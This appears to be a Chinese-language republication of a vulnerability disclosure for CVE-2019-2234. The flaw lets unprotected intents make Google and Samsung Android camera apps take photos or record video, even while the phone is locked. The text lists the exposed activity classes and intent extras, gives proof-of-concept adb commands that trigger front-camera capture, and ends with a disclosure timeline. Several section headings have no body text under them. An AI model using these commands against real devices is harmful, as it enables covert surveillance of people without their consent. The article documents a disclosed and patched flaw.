谷歌三星安卓摄像头应用含高危漏洞变身监控器,影响数亿设备(PoC)
详情
不受保护的活动数量如此之多,我们因此将每种活动映射到相应的类并进行分别测试,以查看是否可以通过任何不安全的代码路径发现漏洞。
com.google.android.apps.camera.legacy.app.activity.main.CameraActivity com.google.android.apps.camera.legacy.app.activity.CaptureActivity com.google.android.apps.camera.legacy.app.activity.CameraImageActivity com.google.android.apps.camera.legacy.app.activity.CameraDeepLinkActivity com.google.android.apps.camera.legacy.app.activity.SecureCameraActivity com.google.android.apps.camera.legacy.app.settings.CameraSettingsActivity com.google.android.apps.camera.legacy.app.refocus.ViewerActivity com.google.android.apps.camera.photobooth.activity.PhotoboothActivity com.google.android.libraries.social.licenses.LicenseMenuActivity
调用 android.media.action.VIDEO_CAMERA动作启动 Google Camera,后者会立即开始录制视频;
调用 android.media.action.VIDEO_CAPTURE动作并不会使 Google Camera 开始录制视频;
任何其它动作均可在拍照模式下打开 Google Camera app 但并不会使其拍照。
android.intent.extra.USE_FRONT_CAMERA – 使用户选择前置摄像头(如没有,则可选择后置摄像头) android.intent.extra.TIMER_DURATION_SECONDS – 使摄像头在拍照前设置计时器(最少是3秒钟,为硬编码) extra_turn_screen_on – 模糊标志,可能是用于需要打开设备屏幕的可穿戴设备
发现多个漏洞
这样做有问题吗?
PoC
$ adb shell am start-activity -n
com.google.android.GoogleCamera/com.android.camera.CameraActivity --ez
extra_turn_screen_on true -a android.media.action.VIDEO_CAMERA --ez
android.intent.extra.USE_FRONT_CAMERA true
$ adb shell am start-activity -n
com.google.android.GoogleCamera/com.android.camera.CameraActivity --ez
extra_turn_screen_on true -a android.media.action.STILL_IMAGE_CAMERA --ez
android.intent.extra.USE_FRONT_CAMERA true --ei
android.intent.extra.TIMER_DURATION_SECONDS 3
注意,这两个命令都可以无障碍地发出,即使照片位于锁定状态也不例外。
$ adb shell getprop ro.build.fingerprint
google/blueline/blueline:9/PQ3A.190605.003/5524043:user/release-keys
$ adb shell dumpsys package com.google.android.GoogleCamera|grep -E “Package|version|time”
Packages:
Package [com.google.android.GoogleCamera] (ce5cc83):
pkg=Package{27a2e00 com.google.android.GoogleCamera}
versionCode=49456750 minSdk=28 targetSdk=28
versionName=6.2.030.244457635
timeStamp=2019-05-09 16:02:33
installerPackageName=com.android.vending
signatures=PackageSignatures{c09c639 version:3, signatures:[e3ca78d8], past signatures:[]}
Package [com.google.android.GoogleCamera] (3a4f47e):
pkg=Package{72eaddf com.google.android.GoogleCamera}
versionCode=44450387 minSdk=28 targetSdk=28
versionName=6.0.012.208106668
timeStamp=2009-01-01 08:00:00
signatures=PackageSignatures{fb78cf5 version:0, signatures:[], past signatures:[]}
谷歌回应
缓解建议
披露时间轴
2019-07-04:向谷歌安卓安全团队提交漏洞报告
2019-07-04:谷歌证实已收到漏洞报告
2019-07-04:向谷歌发送 PoC“恶意 app”
2019-07-05:向谷歌发送攻击场景的 PoC 视频
2019-07-13:谷歌将漏洞的严重程度评定为“中等”
2019-07-08:向谷歌发出进一步的反馈
2019-07-18:谷歌将严重程度提升为“高危”
2019-08-01:谷歌证实了我们关于这些漏洞影响其它安卓智能手机供应商的假设并分配编号 CVE-2019-2234
2019-08-18:联系了多个相关供应商
2019-08-29:三星证实受影响
2019-11:谷歌和三星均同意发布这篇文章
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。